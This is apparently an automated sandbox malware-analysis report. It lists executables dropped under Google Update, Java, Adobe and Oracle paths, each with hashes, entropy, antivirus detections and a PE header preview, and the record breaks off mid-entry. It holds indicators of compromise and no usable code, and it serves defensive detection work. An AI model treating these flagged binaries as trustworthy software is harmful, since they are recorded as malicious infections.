File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.09129609013043
Encrypted:	false
SSDEEP:	49152:jGSXoV72tpV9XE8Wwi1aCvYMdVluS/fYw44RxL1LNiXicJFFRGNzj3:L4OEtwiICvYMRfV7wRGpj3
MD5:	D52BF4DE89AA71D121516DF6B1008D0A
SHA1:	BB2585A53DB71499EB69ED4F0FC867CB1587F0E0
SHA-256:	3DE3DF63219BF5211926F1B3445A0E6F65A909198B1E00840CC3C7F28687A290
SHA-512:	5A71064EB2F840E1E61EBD6F62DAC8C144EF8E1CEC03218C1E10BD4950FF3D71E9878A8A628E2A84ECDA58D36B6EC39DBB54734445925154AD28A99E1D91921F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-.......-.............................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1641472
Entropy (8bit):	5.0793514318637145
Encrypted:	false
SSDEEP:	24576:nAMJR+3kMbVjhW/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Ai+lbVjhWLNiXicJFFRGNzj3
MD5:	22F2AAA998F3A6AD94D72D4A0A058A6E
SHA1:	410B28AE0B01B89C84CCE0E57BB82969ADE1C993
SHA-256:	DEECD31DD6BE4557331B8D62ED58431D5B0BEDA5CDCE402641A50DBD8F934CA4
SHA-512:	9BA5F5C721C180E389B3CEE30C17D1D2D58C15634C565613C4A6AA97425144723FAA5CB20914559A2C8149A746E5BD9FA3665D99DE161C67350CB20DF2978BF2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@.......................... $......U.......................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...............<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1445888
Entropy (8bit):	4.815230584065294
Encrypted:	false
SSDEEP:	24576:GxGBcmlU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+Gy+ULNiXicJFFRGNzj3
MD5:	5D22B8F6E5E775C2FF048BE2F32E0494
SHA1:	2E63AC65FF11BC53D6E63FE11CE4140E93A335F0
SHA-256:	889F898F3A12BE6F8D22D6D503370D4E3F38949CB1DB8FC432F441063810402E
SHA-512:	C7F12E02C7772523F4D7D7FFFECDA38D30BCABD84A74EDD47489FF5A913DEB776DF547B0696A2C36DFD46D6849D3867BE550968423FBFE4F47C533EDC8029FCB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@...........................!......R......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...p...........`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1800192
Entropy (8bit):	5.30601216094427
Encrypted:	false
SSDEEP:	24576:g0vHymLj8trn3wsQ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:hlj4rgsQLNiXicJFFRGNzj3
MD5:	7EB2010BFA388BF20E466BF967576384
SHA1:	CF538E9904B75FC1B3991E8CED53230D45767923
SHA-256:	6B24C30BD94C4F2A7A4BA0A2FFF1C63EF04362F711C001D6C0C72ADD9C2A8A67
SHA-512:	18343D34BB0263541E0328E36716E086D4EA2F9E5C81C14042008E3B0A78613C276F696EB866E520D8EE356EBA91BFDEA85B6D74668D04D89B33CC0AE101AD10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................p&.............................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.273982736202591
Encrypted:	false
SSDEEP:	49152:V4i0wGJra0uAUfkVy7/ZFLNiXicJFFRGNzj3:VN0wGJrakUQyb7wRGpj3
MD5:	C0D94BA6E920BC0CF41EFA9D88F32549
SHA1:	58443A921417DB67DF3A9C54F71D1D4760417315
SHA-256:	5466B6856F6E98AA5DC85E45E420836DF8D17750F98DA807DDE6C57C1B108774
SHA-512:	27B0E0713EE226ED068911FA550A80BBB02758FB01A119D879B995D0145C5E85E371873565BC1AAEDC7E62634656D3645BA5EFC3AB68386CD397BF6C96B08837
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@.................................g...........................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.441605483895749
Encrypted:	false
SSDEEP:	24576:4eR0gB6axoCf0R6RLQRF/TzJqe58BimO/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kgHxmR6uBTzge5MimOLNiXicJFFRGNzb
MD5:	4494A1DB416DBF96AB80634B9D18E69D
SHA1:	768A540DA8F076ED6C0A401E8412C319ED59B60E
SHA-256:	0CE6A765E424BBCF2F0A142B42CD0E9AB42F20A9E2CEBA8353353BBA88E74601
SHA-512:	EE567ED56CF1370E90056ADC0667E1D6C2AA29B3E48BE0072CA4966A36DD054FC3461CDF2C0CB86EDA5A25786C708539766E5067754EF3983B68DE8AD848BC91
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`......i&......................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.999585923795959
Encrypted:	false
SSDEEP:	24576:/cwOtO7g/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:/hOtmgLNiXicJFFRGNzj3
MD5:	748BCCFF4DA43DA5C2764ECB3B59DF12
SHA1:	A9AF001C3C65A783CBF78273939BEBD53FD76FDA
SHA-256:	2AB0EDAF55852DCAAF9A44224DE1FAE60A3D9A6E388E137A9738FB96780D41FE
SHA-512:	1E300CF73CFCBE07E7ACBC4202AF75CC5952D89198DDCD6973DCB27D1CAF148A4485DA35EDC99C0231428DAFAEA7652774D37475F159DE6D697306B6E22AD3D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P"..............................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	5.000278886290846
Encrypted:	false
SSDEEP:	24576:RfU/h/4Kn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:RM/VnLNiXicJFFRGNzj3
MD5:	F08C615C7F69422FA48DCE2457A9899E
SHA1:	ADADBF3BFE1662F72B2684F68F26C60DCE1BF4BD
SHA-256:	EB7E2BD695C44BD8CB7BE4C4E6DD67B0717D6D3E548EC058AF7A67DDF26FF060
SHA-512:	DEE4512C8A56A8AD3C6783790A14CB6650B274CF10C12F7B673FEFE32FC75451E6CB36D1663360074CAF7B04B1CA51A0D548ACC5324955463AC2F373E80E3D60
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P"..............................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.073465930651672
Encrypted:	false
SSDEEP:	24576:Jx7NiBLZ05jNTmJWEx0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:JxZiHIjNg0LNiXicJFFRGNzj3
MD5:	762186F9A8A4996C095FBC4339FAB878
SHA1:	7A5767CEC6D13981F2DB7F00259363E3B9F4D442
SHA-256:	8329085D0E382BF4CA9FA9D3BEDACC7CB9E1A9A08BE9004A1EDFDAFDF4A5E767
SHA-512:	D67ED3FEB201024EE89929859D4E6F5909F764AC11B1A3F96A392DA6217A5441DDB8C111FE3CDE3F94D0519F48F958EB7B51A860EBE1FB9F9B913DCA22978C03
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.................................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1574912
Entropy (8bit):	5.0319069497042515
Encrypted:	false
SSDEEP:	24576:mlnRkl46fgJcEwixW/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CoJfgJcEwCWLNiXicJFFRGNzj3
MD5:	A00FE81CD3F9A2BAC3A37C6299CC67A8
SHA1:	7FAA1D46E96FB77321028886F2EF20330EC60E8F
SHA-256:	0B565F49BF7221ECADCD08C2E210FB694D4D3A7284999809DE300900D2F651FC
SHA-512:	96A6D6075E1D89C582A08C9FCD1EB49278B59EE71D6DF5AFF4B8003C9F7A6AB66FA5ED71F8BC180D30F7FB8F47E828B98523801451362AE8EE7BFD52740FE210
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@...........................#......g......................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...............H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1677824
Entropy (8bit):	5.0882222094853
Encrypted:	false
SSDEEP:	24576:aW+5k8hb0Haw+xG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:aWKk8SHawmGLNiXicJFFRGNzj3
MD5:	A551562B2B0066FD1AC150D58701192C
SHA1:	3E1C5368832450F0BB18D0F0E06CAC26CD89271A
SHA-256:	4CAC384AF3784D0C23DC1F557A52E8D634CCE05B3FE90D3D5D2910B538EE13E7
SHA-512:	295230A552739039A04393C9F18A3A5D650BC0BC32ADBD4F3F26BA45FE36B7DEBA313F31B4FA7CBC6D5AAED92AB854B1A90CC67E468E186A5989615AF1B58161
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@..............................$.......... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...p...`......................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1437696
Entropy (8bit):	4.706132506164512
Encrypted:	false
SSDEEP:	24576:dLCKABe/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:duKkeLNiXicJFFRGNzj3
MD5:	1CB6A47963930B27E6D25D30025F7D9D
SHA1:	36DB8E39D334E9E5FF0705A29FFE97E4C7FC4D2E
SHA-256:	6CC33F9516BB53CDC5227C3F75C78501E38FDE29628C01014A2D61725A2597C2
SHA-512:	F0EA69D1F7A6A6E958D2B7DB0C8114CB3967DAAF3BBB00B1C475A0F4CD72654729951302BEFE5D4CDD47E1528EF3A00168C5A27AD5D3591F6CA6CD386B88FFA0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@........................... .....].......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...p...........@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.68625619681528
Encrypted:	false
SSDEEP:	24576:BjNWBPR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:JNmJLNiXicJFFRGNzj3
MD5:	BA090A88C3DC9261FD5F0F3C3A0373D9
SHA1:	4B72AFD02FD121394F510C10A113A42989C0E87A
SHA-256:	BD26383F410A4FB6BFF76AC7141951FDB7193EC2CF4883324EC16E6DC27CC4B7
SHA-512:	1F9DA6FF8DAEBE9AD43D39AE19A903A70875C35FF58F4B5052813EBBDDB46607EBC59AEC76D589BCD4A5D73F0733903480D2FD23B04707BD1B99B2142FA6510B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@........................... .....<m.......................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1458176
Entropy (8bit):	4.782552379687785
Encrypted:	false
SSDEEP:	24576:wi5RyhdsRrT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:wi5soRTLNiXicJFFRGNzj3
MD5:	650A2E97AC1FAD1FB4761185620D09EE
SHA1:	1A42273BAAD2C5389975A3E7DE06C5FA28F8F9B0
SHA-256:	8730A1E5F72F7FB2295F4350F41625462CFF275120628EF54263DE73A346D9E8
SHA-512:	37F27F604F6D1BD6594858A33A68553A2088E12732DC57C9991ACA1CC447189BDE4DA895BAE6AA980A0FC2A6E6A2283B1E4B77E01167F63E7008F91266A6F8A2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@..............................!.....{..... ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...`... ......................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1498112
Entropy (8bit):	4.900286832509376
Encrypted:	false
SSDEEP:	24576:W1qDmRF+wpx/QafI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:hmRF+wn/JfILNiXicJFFRGNzj3
MD5:	3A7D7CBC7826D54DAAC5D419D5AE8813
SHA1:	2AD6D425E72C7727736375569C9A13AAECA39A5E
SHA-256:	CE33844ED07B487A9D77911656D469C9ECAC071EE1509AF9B3DEF81976F6D237
SHA-512:	599C75D68518C2A30A2575DE75287444C56FA154CD65867CC3E40CB1396BBCD7177E4C7D521C04AC8045BAD372670DF2BC315DB683A4A6BA1E49D233CF651659
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@...........................!......b...............................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc.......p......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.686222493694537
Encrypted:	false
SSDEEP:	24576:bE21BP6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Y2biLNiXicJFFRGNzj3
MD5:	1222ED7AFC5E69F4E30B11C69455C069
SHA1:	1776944F85D638505929B3167788E0046D8FE665
SHA-256:	D5BD0FF1C439E252A83FD99872B58F3C20A6CC5035EAF6EAC71A13B73754D74D
SHA-512:	B20F3F07210C8C84232BDC5722BBBDFF00C88EE5C6B546F9A7ECF0608A01858C385A3BC957394CE58E22090E46509EE2EB694BEB19893E56D216FD692E2ADC72
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@........................... .....R........................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	105669632
Entropy (8bit):	7.999989131139988
Encrypted:	true
SSDEEP:	3145728:DLAKHgDx/oat8qdTsdZDAE1mXXaYS79zDIICU:HBWx/pt8U7E6aZRfIICU
MD5:	02F28BC31E864A1C313336722C181E9E
SHA1:	738569D3AC951474EF48130BE8445F87BA19D75E
SHA-256:	68B42F8E75CE91F27EEDF04D44AABCD12E45F490F6813969FCD813F8BECEFDFF
SHA-512:	D9B9F3AC079283C70316BEAE9C686FBD7DE06FEB31D72FA6C6B901DB94AF472DE28BE1C5594EC05A96B616B1D90E84739EA239FDA4657963D9C368829DDE1EE0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4...LC................@..............................L.......L... ..................................................X..P........+C.....\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc....+C......,C..X..............@..@.reloc........C.......C.............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1313792
Entropy (8bit):	4.573525136984291
Encrypted:	false
SSDEEP:	12288:ysiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:yW/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	5B028EEF5496C9B372DCAD829835BF7F
SHA1:	F94BEF933F51CDB4510F79F8F8E9977A259487C7
SHA-256:	D1BAEA2B62E1FCC669BB29EE80690F0E3C53F2CC6528BF8D429A18F61FD30B39
SHA-512:	8FACDD9BEBA0A4907CEBAD9221BD605D3829E860D7A9E2ABF29FB00B155FF9ECCABD708E1B589314FA75F07B8240CD987AF6C2F52FEC144BB1626CDA91BB80FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@.................................$.......................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...`...........l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.534732118103047
Encrypted:	false
SSDEEP:	12288:1C9iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Qh/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	17379964EF75C8AB89C92F48CC604466
SHA1:	93B4A252C9C6F1903BC1702529407C6CF981A307
SHA-256:	87F6EA9439B1BB713D17F1ECF86E8880CB841F7A927F16809BBCC7F2FF1EFCDF
SHA-512:	4CFB4765ED305554DE47E519F40C5325080C89F9A035781EDDBF0A74A67EC143D1837D769F996B87910078EB823255C6970B748ACB855D8B283713087268996E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.999587308902598
Encrypted:	false
SSDEEP:	24576:ecwOtO7g/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ehOtmgLNiXicJFFRGNzj3
MD5:	0FBC4294EB09881A3A602766EAABC245
SHA1:	146A2F3E75A9F77AC1238735BC70A1CA700BC1E4
SHA-256:	5B554749275A1A24859412702569BADC7D04F9F54C55E1196A0865E82978AA59
SHA-512:	E4A5817F46F5D3E51547416D94B5769F523CB2E81B1AD39C53481FA531EEC1EAEB56E134F18BFF2C700DB795B06BEF6FE444F12D9C8DBFDD951B9F9A70096980
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P".............................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1368064
Entropy (8bit):	4.641325246028709
Encrypted:	false
SSDEEP:	24576:p1N/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:p7LNiXicJFFRGNzj3
MD5:	D1E75B2BCC20BD540F3C0E4411A567D7
SHA1:	FC7979889BB6F7413F04D7133E72CED5C2FB9292
SHA-256:	A78E9B999C6021EEBB5037C2DB0A974303915BA53D5FA9ABB1549CB3E37BA06C
